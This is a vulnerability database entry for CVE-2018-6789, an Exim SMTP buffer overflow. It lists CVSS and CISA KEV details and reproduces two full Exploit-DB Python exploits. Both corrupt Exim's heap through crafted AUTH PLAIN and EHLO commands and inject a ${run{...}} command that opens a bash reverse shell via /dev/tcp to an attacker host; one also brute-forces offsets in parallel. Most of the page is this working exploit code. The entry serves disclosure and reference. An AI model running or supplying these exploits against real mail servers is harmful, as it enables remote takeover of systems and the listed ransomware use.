CVE-2018-6789 Detail

CVE-2018-6789

Score / Severity

9.8

Critical

CVE Descriptions

An issue was discovered in the base64d function in the SMTP listener in Exim before 4.90.1. By sending a handcrafted message, a buffer overflow may happen. This can be used to execute code remotely.

CVE Informations

Related Weaknesses

CWE-ID	Weakness Name	Source
CWE-120	Buffer Copy without Checking Size of Input ('Classic Buffer Overflow') The product copies an input buffer to an output buffer without verifying that the size of the input buffer is less than the size of the output buffer, leading to a buffer overflow.

Metrics

Metrics	Score	Severity	CVSS Vector	Source
V3.1	9.8	CRITICAL	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H More informations Base: Exploitabilty Metrics The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. Network The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). Attack Complexity This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability. Low Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. None The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack. User Interaction This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component. None The vulnerable system can be exploited without interaction from any user. Base: Scope Metrics The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope. Scope Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs. Unchanged An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority. Base: Impact Metrics The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. High There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. High There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. High There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal Metrics The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability. Environmental Metrics These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.	[email protected]
V2	7.5		AV:N/AC:L/Au:N/C:P/I:P/A:P	[email protected]

CISA KEV (Known Exploited Vulnerabilities)

Vulnerability name : Exim Buffer Overflow Vulnerability

Required action : Apply updates per vendor instructions.

Known To Be Used in Ransomware Campaigns : Known

Added : 2021-11-02 23h00 +00:00

Action is due : 2022-05-02 22h00 +00:00

Important information

This CVE is identified as vulnerable and poses an active threat, according to the Catalog of Known Exploited Vulnerabilities (CISA KEV). The CISA has listed this vulnerability as actively exploited by cybercriminals, emphasizing the importance of taking immediate action to address this flaw. It is imperative to prioritize the update and remediation of this CVE to protect systems against potential cyberattacks.

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

EPSS First.org

Exploit information

Exploit Database EDB-ID : 45671

Publication date : 2018-10-23 22h00 +00:00
Author : hackk.gr
EDB Verified : No

# Exploit Title: exim 4.90 - Remote Code Execution # Date: 2018-10-24 # Exploit Author: hackk.gr # Vendor Homepage: exim.org # Version: exim < 4.90 # Tested on: debian exim 4.89, ubuntu exim 4.86_2 # CVE : CVE-2018-6789 #!/usr/bin/python #debian exim 4.89 #ubuntu exim 4.86_2 import time import socket import struct import os import os.path import sys import ssl import random from multiprocessing import Process, Queue s = None f = None test = True rcpt_index_start = 0x120 bufsize = 8200 def connect(host, port): global s global f s = socket.create_connection((host,port)) f = s.makefile("rw", bufsize=0) def p(v): return struct.pack("<Q", v) def readuntil(delim='\n'): data = '' auth_plain_available = False while True: l = f.readline() if l == "": return "" if l.find("PLAIN") > -1: auth_plain_available = True if test: if len(l) > 70: sys.stdout.write(l[:70] + " ...\n") sys.stdout.flush() else: print l.strip("\r").strip("\n") data = data + l if data.find(delim) > -1: return data if l == "\n" or l == "": return "" return data def write(data): f.write(data + "\n") def ehlo(v): write("EHLO " + v) return readuntil('HELP') def unrec(v): write(v) readuntil('command') def auth_plain(v): encode = v.encode('base64').replace('\n','').replace('=','') write("AUTH PLAIN " + encode) l = f.readline() if test: if l.find("not advert") > -1 or l.find("not supported")> -1: raise Exception("NO AUTH PLAIN CONFIG") print l def auth_plain1(v): encode = v.encode('base64').replace('\n','').replace('=','') write("AUTH PLAIN " + encode) l = f.readline() if test: if l.find("Incorrect") > -1: raise Exception("WRONG DRIVER") if l.find("not advert") > -1 or l.find("not supported")> -1: raise Exception("NO AUTH PLAIN CONFIG") print l def auth_plain2(v,value): encode = v.encode('base64').replace('\n','').replace('=','') value = chr(value).encode('base64').replace('\n','').replace('=','') write("AUTH PLAIN " + encode[:-1] + value) l = f.readline() if test: if l.find("Incorrect") > -1: raise Exception("WRONG DRIVER") if l.find("not advert") > -1 or l.find("not supported")> -1: raise Exception("NO AUTH PLAIN CONFIG") print l def one_byte_overwrite(): v = "C" * bufsize encode = v.encode('base64').replace('\n','').replace('=','') encode = encode[:-1] + "PE" write("AUTH PLAIN " + encode) l = f.readline() if test: if l.find("Incorrect") > -1: raise Exception("WRONG DRIVER") if l.find("not advert") > -1 or l.find("not supported")> -1: raise Exception("NO AUTH PLAIN CONFIG") print l lookup_table = {0x00: [0,3], 0x01: [0,7], 0x02: [0,11], 0x03: [0,15], 0x04: [0,19], 0x05: [0,23], 0x06: [0,27], 0x07: [0,31], 0x08: [0,35], 0x09: [0,39], 0x0a: [0,43], 0x0b: [0,47], 0x0c: [0,51], 0x0d: [0,55], 0x0e: [0,59], 0x0f: [0,63], 0x10: [0,67], 0x11: [0,71], 0x12: [0,75], 0x13: [0,79], 0x14: [0,83], 0x15: [0,87], 0x16: [0,91], 0x17: [0,95], 0x18: [0,99], 0x19: [0,103], 0x1a: [0,107], 0x1b: [0,111], 0x1c: [0,115], 0x1d: [0,119], 0x1e: [0,123], 0x1f: [0,127], 0x20: [0,131], 0x21: [0,135], 0x22: [0,139], 0x23: [0,143], 0x24: [0,147], 0x25: [0,151], 0x26: [0,155], 0x27: [0,159], 0x28: [0,163], 0x29: [0,167], 0x2a: [0,171], 0x2b: [0,175], 0x2c: [0,179], 0x2d: [0,183], 0x2e: [0,187], 0x2f: [0,191], 0x30: [0,195], 0x31: [0,199], 0x32: [0,203], 0x33: [0,207], 0x34: [0,211], 0x35: [0,215], 0x36: [0,219], 0x37: [0,223], 0x38: [0,227], 0x39: [0,231], 0x3a: [0,235], 0x3b: [0,239], 0x3c: [0,243], 0x3d: [0,247], 0x3e: [0,251], 0x3f: [0,254], 0x40: [64,3], 0x41: [64,7], 0x42: [64,11], 0x43: [64,15], 0x44: [64,19], 0x45: [64,23], 0x46: [64,27], 0x47: [64,31], 0x48: [64,35], 0x49: [64,39], 0x4a: [64,43], 0x4b: [64,47], 0x4c: [64,51], 0x4d: [64,55], 0x4e: [64,59], 0x4f: [64,63], 0x50: [64,67], 0x51: [64,71], 0x52: [64,75], 0x53: [64,79], 0x54: [64,83], 0x55: [64,87], 0x56: [64,91], 0x57: [64,95], 0x58: [64,99], 0x59: [64,103], 0x5a: [64,107], 0x5b: [64,111], 0x5c: [64,115], 0x5d: [64,119], 0x5e: [64,123], 0x5f: [64,127], 0x60: [64,131], 0x61: [64,135], 0x62: [64,139], 0x63: [64,143], 0x64: [64,147], 0x65: [64,151], 0x66: [64,155], 0x67: [64,159], 0x68: [64,163], 0x69: [64,167], 0x6a: [64,171], 0x6b: [64,175], 0x6c: [64,179], 0x6d: [64,183], 0x6e: [64,187], 0x6f: [64,191], 0x70: [64,195], 0x71: [64,199], 0x72: [64,203], 0x73: [64,207], 0x74: [64,211], 0x75: [64,215], 0x76: [64,219], 0x77: [64,223], 0x78: [64,227], 0x79: [64,231], 0x7a: [64,235], 0x7b: [64,239], 0x7c: [64,243], 0x7d: [64,247], 0x7e: [64,251], 0x7f: [64,254], 0x80: [128,3], 0x81: [128,7], 0x82: [128,11], 0x83: [128,15], 0x84: [128,19], 0x85: [128,23], 0x86: [128,27], 0x87: [128,31], 0x88: [128,35], 0x89: [128,39], 0x8a: [128,43], 0x8b: [128,47], 0x8c: [128,51], 0x8d: [128,55], 0x8e: [128,59], 0x8f: [128,63], 0x90: [128,67], 0x91: [128,71], 0x92: [128,75], 0x93: [128,79], 0x94: [128,83], 0x95: [128,87], 0x96: [128,91], 0x97: [128,95], 0x98: [128,99], 0x99: [128,103], 0x9a: [128,107], 0x9b: [128,111], 0x9c: [128,115], 0x9d: [128,119], 0x9e: [128,123], 0x9f: [128,127], 0xa0: [128,131], 0xa1: [128,135], 0xa2: [128,139], 0xa3: [128,143], 0xa4: [128,147], 0xa5: [128,151], 0xa6: [128,155], 0xa7: [128,159], 0xa8: [128,163], 0xa9: [128,167], 0xaa: [128,171], 0xab: [128,175], 0xac: [128,179], 0xad: [128,183], 0xae: [128,187], 0xaf: [128,191], 0xb0: [128,195], 0xb1: [128,199], 0xb2: [128,203], 0xb3: [128,207], 0xb4: [128,211], 0xb5: [128,215], 0xb6: [128,219], 0xb7: [128,223], 0xb8: [128,227], 0xb9: [128,231], 0xba: [128,235], 0xbb: [128,239], 0xbc: [128,243], 0xbd: [128,247], 0xbe: [128,251], 0xbf: [128,254], 0xc0: [192,3], 0xc1: [192,7], 0xc2: [192,11], 0xc3: [192,15], 0xc4: [192,19], 0xc5: [192,23], 0xc6: [192,27], 0xc7: [192,31], 0xc8: [192,35], 0xc9: [192,39], 0xca: [192,43], 0xcb: [192,47], 0xcc: [192,51], 0xcd: [192,55], 0xce: [192,59], 0xcf: [192,63], 0xd0: [192,67], 0xd1: [192,71], 0xd2: [192,75], 0xd3: [192,79], 0xd4: [192,83], 0xd5: [192,87], 0xd6: [192,91], 0xd7: [192,95], 0xd8: [192,99], 0xd9: [192,103], 0xda: [192,107], 0xdb: [192,111], 0xdc: [192,115], 0xdd: [192,119], 0xde: [192,123], 0xdf: [192,127], 0xe0: [192,131], 0xe1: [192,135], 0xe2: [192,139], 0xe3: [192,143], 0xe4: [192,147], 0xe5: [192,151], 0xe6: [192,155], 0xe7: [192,159], 0xe8: [192,163], 0xe9: [192,167], 0xea: [192,171], 0xeb: [192,175], 0xec: [192,179], 0xed: [192,183], 0xee: [192,187], 0xef: [192,191], 0xf0: [192,195], 0xf1: [192,199], 0xf2: [192,203], 0xf3: [192,207], 0xf4: [192,211], 0xf5: [192,215], 0xf6: [192,219], 0xf7: [192,223], 0xf8: [192,227], 0xf9: [192,231], 0xfa: [192,235], 0xfb: [192,239], 0xfc: [192,243], 0xfd: [192,247], 0xfe: [192,251], 0xff: [192,254], } def exploit(b1, b2, b3, rcpt_index, target, cb, cbport): global s global f #if c % 0x50 == 0: # print " byte1=0x%02x byte2=0x%02x byte3=0x%02x rcpt_index=0x%02x" % (b1, b2, b3, rcpt_index) try: connect(target, 25) except: raise Exception("CONNECTION ERROR") banner = f.readline() if test: print banner.strip("\r").strip("\n") ehlo("A" * 8000) ehlo("B" * 16) unrec("\xff" * 2000) ehlo("D" * bufsize) one_byte_overwrite() fake_header = p(0) fake_header += p(0x1f51) res = auth_plain1("E" * 176 + fake_header + "E" * (bufsize-176-len(fake_header))) res = ehlo("F" * 16) if res == "": raise Exception("CRASHED") unrec("\xff" * 2000) unrec("\xff" * 2000) fake_header = p(0x4110) fake_header += p(0x1f50) auth_plain("G" * 176 + fake_header + "G" * (bufsize-176-len(fake_header))) auth_plain2('A'* (bufsize) + p(0x2021) + chr(b1) + chr(b2) + chr(lookup_table[b3][0]), lookup_table[b3][1]) res = ehlo("I" * 16) if res == "": s.close() f.close() raise Exception("EHLO(I)") acl_smtp_rcpt_offset = rcpt_index local_host = cb local_port = cbport cmd = "/usr/bin/setsid /bin/bash -c \"/bin/bash --rcfile <(echo 'echo " + "0x%02x " % b1 + "0x%02x " % b2 + "0x%02x " % b3 + "0x%04x " % rcpt_index + "') -i >& /dev/tcp/" + local_host + "/" + str(local_port) + " 0>&1\"" cmd_expansion_string = "${run{" + cmd + "}}\0" auth_plain("J" * acl_smtp_rcpt_offset + cmd_expansion_string + "\x00")# * (bufsize - acl_smtp_rcpt_offset - len(cmd_expansion_string))) write("MAIL FROM:<postmaster@localhost>") res = f.readline() if res != "": if test: raise Exception("NO TARGET") raise Exception("OFFSET") raise Exception("BYTE") write("RCPT TO:<postmaster@localhost>") readuntil("Accepted") write("RCPT TO:<postmaster@localhost>") if f.readline() == "": s.close() f.close() raise Exception("RCPT TO") def checkvuln(host): try: exploit(0xff, 0xff, 0xff, rcpt_index_start, host, "127.0.0.1", "1337") except Exception as e: print e if str(e) == "EHLO(I)": return True return False def _exploit(b1, b2, b3, rcpt_index, target, cb, cbport, q): if b1 > 0xff or b2 > 0xff or b3 > 0xff: q.put([b1,b2,b3,"VALUE"]) return try: exploit(b1, b2, b3, rcpt_index, target, cb, cbport) except Exception as e: e = str(e) if e == "[Errno 104] Connection reset by peer" or e.find("EOF occurred") > -1: e = "BYTE" q.put([b1,b2,b3,e]) if __name__ == '__main__': if len(sys.argv) < 4: print "%s <cb> <cbport> <target>" % sys.argv[0] sys.exit(1) target = sys.argv[3] cb = sys.argv[1] cbport = sys.argv[2] if len(sys.argv) == 8: print "reuse fixed offsets" b1 = int(sys.argv[4], 16) b2 = int(sys.argv[5], 16) b3 = int(sys.argv[6], 16) rcpt_index = int(sys.argv[7], 16) try: exploit(b1, b2, b3, rcpt_index, target, cb, cbport) except Exception as e: print e sys.exit(1) print "check vuln" if not checkvuln(target): print "false" sys.exit(1) print "true" test=False allbytes = [offset for offset in xrange(0, 0x110)] allbytes_10 = [offset for offset in xrange(0x10, 0x110, 0x10)] b3_survived = [] b3_survived_stop = False tested = [] try: q = Queue() procs = [] print print "Discover first byte in offset" print sys.stdout.write("Try Offsets %02x%02x%02x to %02x%02x%02x ..." % (0x00,0xff,0xff,0xff,0xff,0xff)) for b3 in allbytes: if b3 % 0x10 == 0 and b3 <= 0xff: sys.stdout.write("\rTry Offsets %02x%02x%02x to %02x%02x%02x ..." % (b3,0xff,0xff,0xff,0xff,0xff)) b1 = 0x00 for b2 in allbytes_10: proc = Process(target=_exploit, args=(b1, b2, b3, rcpt_index_start, target, cb, cbport, q)) procs.append(proc) proc.daemon = True proc.start() to_break = False if len(procs) == 16: for i in xrange(0,16): result = q.get() if result[3] == "BYTE": if [b3, b2] not in tested: tested.append([b3, b2]) b3_survived.append(result[2]) sys.stdout.write("\nOffset %02x%02x%02x Survived ..." % (result[2],result[1],result[0])) else: to_break = True procs[:] = [] if to_break: break print "\n" print "Discover offsets for rcpt index brute force ..." print b1_survived = {} for b3 in b3_survived: for b2 in allbytes: if b2 % 0x10 == 0 and b2 <= 0xff: sys.stdout.write("\r\r\nTry Offsets %02x%02x%02x to %02x%02x%02x ... " % (b3,b2,0x00,b3,0xff,0xf0)) for b1 in allbytes_10: proc = Process(target=_exploit, args=(b1, b2, b3, rcpt_index_start, target, cb, cbport, q)) procs.append(proc) proc.daemon = True proc.start() if len(procs) == 16: for i in xrange(0,16): result = q.get() if result[3] == "OFFSET": if result[2] not in b1_survived: b1_survived[result[2]] = [] b1_survived[result[2]].append(result) sys.stdout.write("\n%02x%02x%02x Survived ..." % (result[2],result[1],result[0])) procs[:] = [] iteration_list = [n for n in xrange(0x100,0x1000,0x10)] iteration_list2 = [n for n in xrange(0x1000,0x3000,0x100)] for n in iteration_list2: iteration_list.append(n) b1_survived_priority = [] b1_survived_additional = [] for key in sorted(b1_survived): if len(b1_survived[key]) < 7: b1_survived_priority.append(b1_survived[key]) else: b1_survived_additional.append(b1_survived[key]) _b1_survived = [] for result in b1_survived_priority: _b1_survived.append(result) for result in b1_survived_additional: _b1_survived.append(result) print "\n" print "Start rcpt index brute force ..." print for result in _b1_survived: for s in result: sys.stdout.write("\rTry Offset %02x%02x%02x with rcpt index from 0x100 to 0x3000 ..." % (s[2],s[1],s[0])) for rcpt_index in iteration_list: proc = Process(target=_exploit, args=(s[0], s[1], s[2], rcpt_index, target, cb, cbport, q)) procs.append(proc) proc.daemon = True proc.start() if len(procs) == 16: for i in xrange(0,16): q.get() procs[:] = [] except KeyboardInterrupt: pass print "done."

Exploit Database EDB-ID : 44571

Publication date : 2018-05-01 22h00 +00:00
Author : straight_blast
EDB Verified : No

#!/usr/bin/python import time import socket import struct s = None f = None def logo(): print print " CVE-2018-6789 Poc Exploit" print "@straight_blast ; [email protected]" print def connect(host, port): global s global f s = socket.create_connection((host,port)) f = s.makefile('rw', bufsize=0) def p(v): return struct.pack("<Q", v) def readuntil(delim='\n'): data = '' while not data.endswith(delim): data += f.read(1) return data def write(data): f.write(data + "\n") def ehlo(v): write("EHLO " + v) readuntil('HELP') def unrec(v): write(v) readuntil('command') def auth_plain(v): encode = v.encode('base64').replace('\n','').replace('=','') write("AUTH PLAIN " + encode) readuntil('data') def one_byte_overwrite(): v = "C" * 8200 encode = v.encode('base64').replace('\n','').replace('=','') encode = encode[:-1] + "PE" write("AUTH PLAIN " + encode) readuntil('data') def exploit(): logo() connect('localhost', 25) print "[1] connected to target" time.sleep(0.5) ehlo("A" * 8000) ehlo("B" * 16) print "[2] created free chunk size 0x6060 in unsorted bin" unrec("\xff" * 2000) ehlo("D" * 8200) one_byte_overwrite() print "[3] triggered 1 byte overwrite to extend target chunk size from 0x2020 to 0x20f0" fake_header = p(0) fake_header += p(0x1f51) auth_plain("E" * 176 + fake_header + "E" * (8200-176-len(fake_header))) print "[4] patched chunk with fake header so extended chunk can be freed" ehlo("F" * 16) print "[5] freed extended chunk" unrec("\xff" * 2000) unrec("\xff" * 2000) print "[6] occupied 1st and 3rd item in unsorted bin with fillers" fake_header = p(0x4110) fake_header += p(0x1f50) auth_plain("G" * 176 + fake_header + "G" * (8200-176-len(fake_header))) print "[7] patched chunk with fake header so extended chunk can be allocated" address = 0x55d7e5864480 auth_plain("H" * 8200 + p(0x2021) + p(address) + p(0x2008) + "H" * 184) print "[8] overwrite 'next' pointer with ACL store block address" ehlo("I" * 16) print "[9] freed the ACL store block" acl_smtp_rcpt_offset = 288 local_host = '192.168.0.159' local_port = 1337 cmd = "/bin/bash -c \"/bin/bash -i >& /dev/tcp/" + local_host + "/" + str(local_port) + " 0>&1\"" cmd_expansion_string = "${run{" + cmd + "}}\0" auth_plain("J" * acl_smtp_rcpt_offset + cmd_expansion_string + "J" * (8200 - acl_smtp_rcpt_offset - len(cmd_expansion_string))) print "[10] malloced ACL store block and overwrite the content of 'acl_smtp_rcpt' with shell expression" write("MAIL FROM:<[email protected]>") readuntil("OK") write("RCPT TO:<[email protected]>") print "[11] triggered RCPT TO and executing shell expression ... enjoy your shell!" print if __name__ == '__main__': exploit()